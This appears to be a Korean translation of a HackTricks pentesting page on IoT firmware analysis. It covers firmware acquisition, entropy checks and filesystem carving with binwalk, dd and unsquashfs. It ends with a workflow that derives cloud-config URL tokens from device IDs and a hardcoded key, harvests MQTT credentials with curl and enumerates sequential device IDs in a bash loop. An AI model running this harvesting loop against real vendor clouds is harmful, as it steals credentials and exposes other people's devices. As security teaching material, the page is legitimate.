ํŽŒ์›จ์–ด ๋ถ„์„

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์†Œ๊ฐœ

๊ด€๋ จ ๋ฆฌ์†Œ์Šค

Synology Encrypted Archive Decryption

32100 Udp - Pentesting Pppp Cs2 P2p Cameras

Android Mediatek Secure Boot Bl2 Ext Bypass El3

ํŽŒ์›จ์–ด๋Š” ํ•˜๋“œ์›จ์–ด ๊ตฌ์„ฑ์š”์†Œ์™€ ์‚ฌ์šฉ์ž๊ฐ€ ์ƒํ˜ธ์ž‘์šฉํ•˜๋Š” ์†Œํ”„ํŠธ์›จ์–ด ๊ฐ„์˜ ํ†ต์‹ ์„ ๊ด€๋ฆฌํ•˜๊ณ  ์ด‰์ง„ํ•จ์œผ๋กœ์จ ์žฅ์น˜๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž‘๋™ํ•˜๋„๋ก ํ•˜๋Š” ํ•„์ˆ˜ ์†Œํ”„ํŠธ์›จ์–ด์ž…๋‹ˆ๋‹ค. ์˜๊ตฌ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅ๋˜์–ด ์ „์›์ด ์ผœ์ง€๋Š” ์ˆœ๊ฐ„๋ถ€ํ„ฐ ์žฅ์น˜๊ฐ€ ์ค‘์š”ํ•œ ๋ช…๋ น์„ ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ ์šด์˜์ฒด์ œ์˜ ๋ถ€ํŒ…์œผ๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ํŽŒ์›จ์–ด๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  ํ•„์š”ํ•œ ๊ฒฝ์šฐ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ์€ ๋ณด์•ˆ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•œ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค.

์ •๋ณด ์ˆ˜์ง‘

์ •๋ณด ์ˆ˜์ง‘์€ ์žฅ์น˜์˜ ๊ตฌ์„ฑ๊ณผ ์‚ฌ์šฉ ๊ธฐ์ˆ ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ์žˆ์–ด ์ค‘์š”ํ•œ ์ดˆ๊ธฐ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ๋‹ค์Œ ํ•ญ๋ชฉ๋“ค์— ๋Œ€ํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

  • CPU ์•„ํ‚คํ…์ฒ˜์™€ ์‹คํ–‰ ์ค‘์ธ ์šด์˜์ฒด์ œ
  • Bootloader ์„ธ๋ถ€์‚ฌํ•ญ
  • ํ•˜๋“œ์›จ์–ด ๊ตฌ์„ฑ ๋ฐ ๋ฐ์ดํ„ฐ์‹œํŠธ
  • ์ฝ”๋“œ๋ฒ ์ด์Šค ๋ฉ”ํŠธ๋ฆญ ๋ฐ ์†Œ์Šค ์œ„์น˜
  • ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฐ ๋ผ์ด์„ ์Šค ์œ ํ˜•
  • ์—…๋ฐ์ดํŠธ ์ด๋ ฅ ๋ฐ ๊ทœ์ œ ์ธ์ฆ
  • ์•„ํ‚คํ…์ฒ˜ ๋ฐ ํ๋ฆ„๋„
  • ๋ณด์•ˆ ํ‰๊ฐ€ ๋ฐ ํ™•์ธ๋œ ์ทจ์•ฝ์ 

์ด ๋ชฉ์ ์„ ์œ„ํ•ด, open-source intelligence (OSINT) ๋„๊ตฌ๋Š” ๋งค์šฐ ์œ ์šฉํ•˜๋ฉฐ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์˜คํ”ˆ์†Œ์Šค ์†Œํ”„ํŠธ์›จ์–ด ๊ตฌ์„ฑ์š”์†Œ์— ๋Œ€ํ•œ ์ˆ˜๋™ ๋ฐ ์ž๋™ ๋ฆฌ๋ทฐ ํ”„๋กœ์„ธ์Šค์˜ ๋ถ„์„๋„ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. Coverity Scan๊ณผ Semmleโ€™s LGTM ๊ฐ™์€ ๋„๊ตฌ๋Š” ์ž ์žฌ์  ๋ฌธ์ œ๋ฅผ ์ฐพ๋Š” ๋ฐ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌด๋ฃŒ ์ •์  ๋ถ„์„์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

ํŽŒ์›จ์–ด ํš๋“

ํŽŒ์›จ์–ด ํš๋“์€ ๊ฐ๊ฐ ๋‚œ์ด๋„๊ฐ€ ๋‹ค๋ฅธ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์ง์ ‘ ์†Œ์Šค(๊ฐœ๋ฐœ์ž, ์ œ์กฐ์‚ฌ)๋กœ๋ถ€ํ„ฐ
  • ์ œ๊ณต๋œ ์ง€์นจ์œผ๋กœ ๋นŒ๋“œํ•˜์—ฌ
  • ๊ณต์‹ ์ง€์› ์‚ฌ์ดํŠธ์—์„œ ๋‹ค์šด๋กœ๋“œ
  • ํ˜ธ์ŠคํŒ…๋œ ํŽŒ์›จ์–ด ํŒŒ์ผ์„ ์ฐพ๊ธฐ ์œ„ํ•œ Google dork ์ฟผ๋ฆฌ ํ™œ์šฉ
  • cloud storage์— ์ง์ ‘ ์ ‘๊ทผ, S3Scanner ๊ฐ™์€ ๋„๊ตฌ ์‚ฌ์šฉ
  • updates๋ฅผ ๊ฐ€๋กœ์ฑ„๋Š” man-in-the-middle ๊ธฐ๋ฒ•
  • UART, JTAG, ๋˜๋Š” PICit ๊ฐ™์€ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์žฅ์น˜์—์„œ ์ถ”์ถœ
  • ์žฅ์น˜ ํ†ต์‹  ๋‚ด์—์„œ ์—…๋ฐ์ดํŠธ ์š”์ฒญ์„ ์Šค๋‹ˆํ•‘
  • ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์—…๋ฐ์ดํŠธ ์—”๋“œํฌ์ธํŠธ ์‹๋ณ„ ๋ฐ ์‚ฌ์šฉ
  • ๋ถ€ํŠธ๋กœ๋”๋‚˜ ๋„คํŠธ์›Œํฌ์—์„œ ๋คํ”„
  • ๋ชจ๋“  ๋ฐฉ๋ฒ•์ด ์‹คํŒจํ•  ๊ฒฝ์šฐ ์ ์ ˆํ•œ ํ•˜๋“œ์›จ์–ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์ €์žฅ ์žฅ์น˜๋ฅผ ๋ถ„๋ฆฌํ•˜์—ฌ ์ฝ๊ธฐ

ํŽŒ์›จ์–ด ๋ถ„์„

์ด์ œ have the firmware๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ๋‹ค๋ฃฐ์ง€ ์•Œ๊ธฐ ์œ„ํ•ด ํŽŒ์›จ์–ด์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ๋„๊ตฌ:

file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple

ํ•ด๋‹น ๋„๊ตฌ๋“ค๋กœ ๋งŽ์€ ๊ฒƒ์„ ์ฐพ์ง€ ๋ชปํ–ˆ๋‹ค๋ฉด ์ด๋ฏธ์ง€์˜ ์—”ํŠธ๋กœํ”ผ๋ฅผ binwalk -E <bin>๋กœ ํ™•์ธํ•ด ๋ณด์„ธ์š”. ์—”ํŠธ๋กœํ”ผ๊ฐ€ ๋‚ฎ์œผ๋ฉด ์•”ํ˜ธํ™”๋˜์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์€ ๋‚ฎ๊ณ , ์—”ํŠธ๋กœํ”ผ๊ฐ€ ๋†’์œผ๋ฉด ์•”ํ˜ธํ™”๋˜์—ˆ๊ฑฐ๋‚˜(๋˜๋Š” ์–ด๋–ค ์‹์œผ๋กœ๋“  ์••์ถ•๋˜์–ด) ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ํฝ๋‹ˆ๋‹ค.

๋˜ํ•œ, ์ด๋Ÿฌํ•œ ๋„๊ตฌ๋“ค๋กœ ํŽŒ์›จ์–ด ๋‚ด๋ถ€์— ํฌํ•จ๋œ ํŒŒ์ผ๋“ค์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

File/Data Carving & Recovery Tools

๋˜๋Š” ํŒŒ์ผ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•ด binvis.io (code)๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํŒŒ์ผ ์‹œ์Šคํ…œ ์–ป๊ธฐ

์•ž์„œ ์–ธ๊ธ‰ํ•œ binwalk -ev <bin> ๊ฐ™์€ ๋„๊ตฌ๋“ค์„ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Binwalk๋Š” ๋ณดํ†ต ์ด๋ฅผ ํŒŒ์ผ ์‹œ์Šคํ…œ ์œ ํ˜•์„ ์ด๋ฆ„์œผ๋กœ ํ•œ ํด๋” ์•ˆ์— ์ถ”์ถœํ•˜๋Š”๋ฐ, ๋ณดํ†ต ๋‹ค์Œ ์ค‘ ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.

์ˆ˜๋™ ํŒŒ์ผ ์‹œ์Šคํ…œ ์ถ”์ถœ

๋•Œ๋•Œ๋กœ binwalk์˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜์—๋Š” ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ๋งค์ง ๋ฐ”์ดํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” binwalk๋ฅผ ์‚ฌ์šฉํ•ด ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์˜คํ”„์…‹์„ ์ฐพ๊ณ  ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์••์ถ•๋œ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ carve(์ถ”์ถœ) ํ•œ ๋‹ค์Œ, ์•„๋ž˜ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ผ ํ•ด๋‹น ์œ ํ˜•์— ๋งž๊ฒŒ ์ˆ˜๋™์œผ๋กœ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ถ”์ถœํ•˜์„ธ์š”.

$ binwalk DIR850L_REVB.bin

DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---

0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41

๋‹ค์Œ dd command๋ฅผ ์‹คํ–‰ํ•˜์—ฌ Squashfs filesystem์„ carvingํ•˜์„ธ์š”.

$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs

8257536+0 records in

8257536+0 records out

8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s

๋˜๋Š” ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs

  • squashfs์˜ ๊ฒฝ์šฐ (์œ„ ์˜ˆ์ œ์—์„œ ์‚ฌ์šฉ๋จ)

$ unsquashfs dir.squashfs

ํŒŒ์ผ๋“ค์€ ์ดํ›„ โ€œsquashfs-rootโ€ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

  • CPIO ์•„์นด์ด๋ธŒ ํŒŒ์ผ

$ cpio -ivd --no-absolute-filenames -F <bin>

  • jffs2 ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ๊ฒฝ์šฐ

$ jefferson rootfsfile.jffs2

  • NAND ํ”Œ๋ž˜์‹œ๊ฐ€ ์žˆ๋Š” ubifs ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ๊ฒฝ์šฐ

$ ubireader_extract_images -u UBI -s <start_offset> <bin>

$ ubidump.py <bin>

ํŽŒ์›จ์–ด ๋ถ„์„

ํŽŒ์›จ์–ด๋ฅผ ํ™•๋ณดํ•œ ํ›„์—๋Š” ๊ทธ ๊ตฌ์กฐ์™€ ์ž ์žฌ์  ์ทจ์•ฝ์ ์„ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด ๋ถ„ํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ํŽŒ์›จ์–ด ์ด๋ฏธ์ง€๋ฅผ ๋ถ„์„ํ•˜๊ณ  ์œ ์šฉํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์–‘ํ•œ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

์ดˆ๊ธฐ ๋ถ„์„ ๋„๊ตฌ

๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ(์ดํ•˜ <bin>)์˜ ์ดˆ๊ธฐ ๊ฒ€์‚ฌ๋ฅผ ์œ„ํ•ด ๋ช‡ ๊ฐ€์ง€ ๋ช…๋ น์ด ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น๋“ค์€ ํŒŒ์ผ ํƒ€์ž… ์‹๋ณ„, ๋ฌธ์ž์—ด ์ถ”์ถœ, ์ด์ง„ ๋ฐ์ดํ„ฐ ๋ถ„์„, ํŒŒํ‹ฐ์…˜ ๋ฐ ํŒŒ์ผ์‹œ์Šคํ…œ ์„ธ๋ถ€ ์ •๋ณด ํŒŒ์•… ๋“ฑ์— ๋„์›€์„ ์ค๋‹ˆ๋‹ค:

file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple

์ด๋ฏธ์ง€์˜ ์•”ํ˜ธํ™” ์ƒํƒœ๋ฅผ ํ‰๊ฐ€ํ•˜๊ธฐ ์œ„ํ•ด entropy๋Š” binwalk -E <bin>๋กœ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ๋‚ฎ์€ entropy๋Š” ์•”ํ˜ธํ™”๊ฐ€ ๋˜์–ด ์žˆ์ง€ ์•Š์Œ์„ ์‹œ์‚ฌํ•˜๊ณ , ๋†’์€ entropy๋Š” ์•”ํ˜ธํ™” ๋˜๋Š” ์••์ถ• ๊ฐ€๋Šฅ์„ฑ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

์ž„๋ฒ ๋””๋“œ embedded files๋ฅผ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” file-data-carving-recovery-tools ๋ฌธ์„œ์™€ ํŒŒ์ผ ๊ฒ€์‚ฌ์šฉ binvis.io ๊ฐ™์€ ๋„๊ตฌ์™€ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

ํŒŒ์ผ์‹œ์Šคํ…œ ์ถ”์ถœ

binwalk -ev <bin>๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋Œ€๊ฐœ ํŒŒ์ผ์‹œ์Šคํ…œ์„ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ข…์ข… ํŒŒ์ผ์‹œ์Šคํ…œ ํƒ€์ž… ์ด๋ฆ„(์˜ˆ: squashfs, ubifs)์„ ๋”ด ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ magic bytes๊ฐ€ ์—†์–ด binwalk๊ฐ€ ํŒŒ์ผ์‹œ์Šคํ…œ ํƒ€์ž…์„ ์ธ์‹ํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ ์ˆ˜๋™ ์ถ”์ถœ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ binwalk๋กœ ํŒŒ์ผ์‹œ์Šคํ…œ์˜ ์˜คํ”„์…‹์„ ์ฐพ์€ ๋‹ค์Œ dd ๋ช…๋ น์œผ๋กœ ํŒŒ์ผ์‹œ์Šคํ…œ์„ carveํ•ด๋‚ด๋ฉด ๋ฉ๋‹ˆ๋‹ค:

$ binwalk DIR850L_REVB.bin

$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs

๊ทธ๋Ÿฐ ๋‹ค์Œ ํŒŒ์ผ์‹œ์Šคํ…œ ์œ ํ˜•(์˜ˆ: squashfs, cpio, jffs2, ubifs)์— ๋”ฐ๋ผ ๋‚ด์šฉ์„ ์ˆ˜๋™์œผ๋กœ ์ถ”์ถœํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์ด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

ํŒŒ์ผ์‹œ์Šคํ…œ ๋ถ„์„

ํŒŒ์ผ์‹œ์Šคํ…œ์„ ์ถ”์ถœํ•œ ํ›„ ๋ณด์•ˆ ์ทจ์•ฝ์  ์ฐพ๊ธฐ๊ฐ€ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค. insecure network daemons, ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์ž๊ฒฉ์ฆ๋ช…, API endpoints, ์—…๋ฐ์ดํŠธ ์„œ๋ฒ„ ๊ธฐ๋Šฅ, ๋ฏธ์ปดํŒŒ์ผ ์ฝ”๋“œ, ์‹œ์ž‘ ์Šคํฌ๋ฆฝํŠธ, ๊ทธ๋ฆฌ๊ณ  ์˜คํ”„๋ผ์ธ ๋ถ„์„์„ ์œ„ํ•œ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋“ฑ์— ์ฃผ๋ชฉํ•ฉ๋‹ˆ๋‹ค.

๊ฒ€์‚ฌํ•  ์ฃผ์š” ์œ„์น˜ ๋ฐ ํ•ญ๋ชฉ์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

  • etc/shadow ๋ฐ etc/passwd (์‚ฌ์šฉ์ž ์ž๊ฒฉ์ฆ๋ช… ํ™•์ธ)
  • SSL certificates ๋ฐ ํ‚ค๊ฐ€ ์žˆ๋Š” etc/ssl
  • ์ž ์žฌ์  ์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๊ตฌ์„ฑ ๋ฐ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ
  • ์ถ”๊ฐ€ ๋ถ„์„์„ ์œ„ํ•œ ์ž„๋ฒ ๋””๋“œ ๋ฐ”์ด๋„ˆ๋ฆฌ
  • ์ผ๋ฐ˜์ ์ธ IoT ๋””๋ฐ”์ด์Šค ์›น ์„œ๋ฒ„ ๋ฐ ๋ฐ”์ด๋„ˆ๋ฆฌ

ํŒŒ์ผ์‹œ์Šคํ…œ ๋‚ด ๋ฏผ๊ฐํ•œ ์ •๋ณด์™€ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋˜๋Š” ๋„๊ตฌ๋“ค:

์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•œ ๋ณด์•ˆ ์ ๊ฒ€

ํŒŒ์ผ์‹œ์Šคํ…œ์—์„œ ์ฐพ์€ ์†Œ์Šค ์ฝ”๋“œ์™€ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋ชจ๋‘ ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ๋ฉด๋ฐ€ํžˆ ๊ฒ€ํ† ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Unix ๋ฐ”์ด๋„ˆ๋ฆฌ์šฉ checksec.sh ๋ฐ Windows ๋ฐ”์ด๋„ˆ๋ฆฌ์šฉ PESecurity ๊ฐ™์€ ๋„๊ตฌ๋“ค์€ ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ณดํ˜ธ๋˜์ง€ ์•Š์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค.

ํŒŒ์ƒ๋œ URL ํ† ํฐ์„ ํ†ตํ•œ cloud config ๋ฐ MQTT ์ž๊ฒฉ์ฆ๋ช… ์ˆ˜์ง‘

๋งŽ์€ IoT ํ—ˆ๋ธŒ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๊ฐœ๋ณ„ ๋””๋ฐ”์ด์Šค ๊ตฌ์„ฑ์„ ๊ฐ€์ ธ์˜ค๋Š” ํด๋ผ์šฐ๋“œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

firmware analysis ์ค‘์— ์ด ํ•˜๋“œ์ฝ”๋”ฉ๋œ ๋น„๋ฐ€์„ ์‚ฌ์šฉํ•ด device ID์—์„œ ๋กœ์ปฌ๋กœ ์œ ๋„๋œ๋‹ค๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:

  • token = MD5( deviceId || STATIC_KEY ) and represented as uppercase hex

์ด ์„ค๊ณ„๋Š” deviceId์™€ STATIC_KEY๋ฅผ ์•Œ๊ฒŒ ๋œ ๋ˆ„๊ตฌ๋‚˜ URL์„ ์žฌ๊ตฌ์„ฑํ•˜๊ณ  cloud config๋ฅผ ๊ฐ€์ ธ์™€ ์ข…์ข… ํ‰๋ฌธ MQTT ์ž๊ฒฉ์ฆ๋ช…๊ณผ ํ† ํ”ฝ ์ ‘๋‘์‚ฌ๋ฅผ ๋…ธ์ถœ์‹œํ‚ค๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์ „ ์›Œํฌํ”Œ๋กœ์šฐ:

  1. UART ๋ถ€ํŠธ ๋กœ๊ทธ์—์„œ deviceId ์ถ”์ถœ
  • 3.3V UART ์–ด๋Œ‘ํ„ฐ(TX/RX/GND)๋ฅผ ์—ฐ๊ฒฐํ•˜๊ณ  ๋กœ๊ทธ๋ฅผ ์บก์ฒ˜:
picocom -b 115200 /dev/ttyUSB0
  • ์˜ˆ๋ฅผ ๋“ค์–ด cloud config URL pattern๊ณผ broker address๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ๋ผ์ธ์„ ์ฐพ์œผ์„ธ์š”:
Online Config URL https://api.vendor.tld/pf/<deviceId>/<token>
MQTT: mqtt://mq-gw.vendor.tld:8001
  1. ํŽŒ์›จ์–ด์—์„œ STATIC_KEY์™€ token ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์ถ”์ถœ
  • ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ Ghidra/radare2์— ๋กœ๋“œํ•˜๊ณ  ์„ค์ • ๊ฒฝ๋กœ (โ€œ/pf/โ€) ๋˜๋Š” MD5 ์‚ฌ์šฉ์„ ๊ฒ€์ƒ‰ํ•œ๋‹ค.
  • ์•Œ๊ณ ๋ฆฌ์ฆ˜์„ ํ™•์ธํ•œ๋‹ค (์˜ˆ: MD5(deviceId||STATIC_KEY)).
  • Bash์—์„œ token์„ ์ƒ์„ฑํ•˜๊ณ  digest๋ฅผ ๋Œ€๋ฌธ์ž๋กœ ๋ณ€ํ™˜:
DEVICE_ID="d88b00112233"
STATIC_KEY="cf50deadbeefcafebabe"
printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}'
  1. cloud config ๋ฐ MQTT credentials ์ˆ˜์ง‘
  • URL์„ ๊ตฌ์„ฑํ•˜๊ณ  curl๋กœ JSON์„ ๊ฐ€์ ธ์˜จ ๋‹ค์Œ jq๋กœ ํŒŒ์‹ฑํ•˜์—ฌ secrets๋ฅผ ์ถ”์ถœ:
API_HOST="https://api.vendor.tld"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -sS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq .
# Fields often include: mqtt host/port, clientId, username, password, topic prefix (tpkfix)
  1. plaintext MQTT ๋ฐ weak topic ACLs(์žˆ๋Š” ๊ฒฝ์šฐ) ์•…์šฉ
  • ๋ณต๊ตฌํ•œ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ maintenance topics๋ฅผ ๊ตฌ๋…(subscribe)ํ•˜๊ณ  ๋ฏผ๊ฐํ•œ ์ด๋ฒคํŠธ๋ฅผ ์ฐพ์•„๋ณธ๋‹ค:
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v
  1. ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ device IDs ๋‚˜์—ด(๋Œ€๊ทœ๋ชจ๋กœ, ๊ถŒํ•œ ํ•˜์—)
  • ๋งŽ์€ ์ƒํƒœ๊ณ„๋Š” vendor OUI/product/type bytes๋ฅผ ํฌํ•จํ•˜๊ณ  ๊ทธ ๋’ค์— ์ˆœ์ฐจ์ ์ธ suffix๊ฐ€ ๋ถ™์Šต๋‹ˆ๋‹ค.
  • candidate IDs๋ฅผ iterateํ•˜์—ฌ tokens๋ฅผ deriveํ•˜๊ณ  configs๋ฅผ programmatically๋กœ fetchํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
API_HOST="https://api.vendor.tld"; STATIC_KEY="cf50deadbeef"; PREFIX="d88b1603" # OUI+type
for SUF in $(seq -w 000000 0000FF); do
DEVICE_ID="${PREFIX}${SUF}"
TOKEN=$(printf "%s" "${DEVICE_ID}${STATIC_KEY}" | md5sum | awk '{print toupper($1)}')
curl -fsS "$API_HOST/pf/${DEVICE_ID}/${TOKEN}" | jq -r '.mqtt.username,.mqtt.password' | sed "/null/d" && echo "$DEVICE_ID"
done

์ฐธ๊ณ 

  • ํ•ญ์ƒ ๋Œ€๊ทœ๋ชจ mass enumeration์„ ์‹œ๋„ํ•˜๊ธฐ ์ „์— ๋ช…์‹œ์ ์ธ ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์œผ์‹ญ์‹œ์˜ค.
  • ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ ๋Œ€์ƒ ํ•˜๋“œ์›จ์–ด๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  secrets๋ฅผ ๋ณต๊ตฌํ•˜๊ธฐ ์œ„ํ•ด emulation ๋˜๋Š” static analysis๋ฅผ ์„ ํ˜ธํ•˜์‹ญ์‹œ์˜ค.

